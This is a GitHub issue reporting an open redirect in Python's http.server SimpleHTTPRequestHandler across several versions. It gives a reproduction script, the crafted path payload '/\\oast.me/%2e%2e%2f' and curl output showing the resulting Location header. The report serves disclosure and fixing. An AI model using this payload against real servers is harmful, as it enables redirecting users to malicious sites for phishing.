Skip to content

Report of Open Redirect Vulnerability in Python 3.9.19 - Utilizing Simple HTTP #132826

Open
@hnagashimauu

Description

@hnagashimauu

Bug Report

Description

We identified that when using Simple HTTP in Python 3.9.19 with the payload /\\oast.me/%2e%2e%2f, an open redirect vulnerability arises.
This could potentially allow attackers to redirect users to malicious websites or resources, leading to phishing attacks or the exploitation of sensitive information.

Steps to Reproduce

  1. Run the following code with Python 3.9.19.
#!/usr/bin/env python3
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer

address = ''
port = 8080
Handler = SimpleHTTPRequestHandler
TCPServer((address, port), Handler).serve_forever()
  1. Craft a payload containing /\\oast.me/%2e%2e%2f..
  2. Attempt to access the server with the crafted payload.
  3. Observe the redirection behavior.

Output of curl

$ curl --noproxy "*" -I -x GET http://127.0.0.1:8080/\\oast.me/%2e%2e%2f
HTTP/1.0 301 Moved Permanently
Server: SimpleHTTP/0.6 Python/3.9.19
Date: Mon, 21 Apr 2025 11:06:08 GMT
Location: /\oast.me/%2e%2e%2f/
Content-Length: 0

Issue

If the URL path contains /\\oast.me/%2e%2e%2f, the response of Location header includes /\oast.me/%2e%2e%2f/.
It redirects to http://oast.me/..%2f/.

Expected Result

If the Location header starts with /, it is interpreted as a relative path on the same server.

Version

3.9.19
3.9.21
3.8.18
3.12.5

OS

Ubuntu 20.04.6 LTS

Related Issue

#118312

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.10only security fixes3.11only security fixes3.12only security fixes3.13bugs and security fixes3.14new features, bugs and security fixes3.9only security fixespendingThe issue will be closed if no feedback is providedstdlibPython modules in the Lib dirtype-bugAn unexpected behavior, bug, or errortype-securityA security issue

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions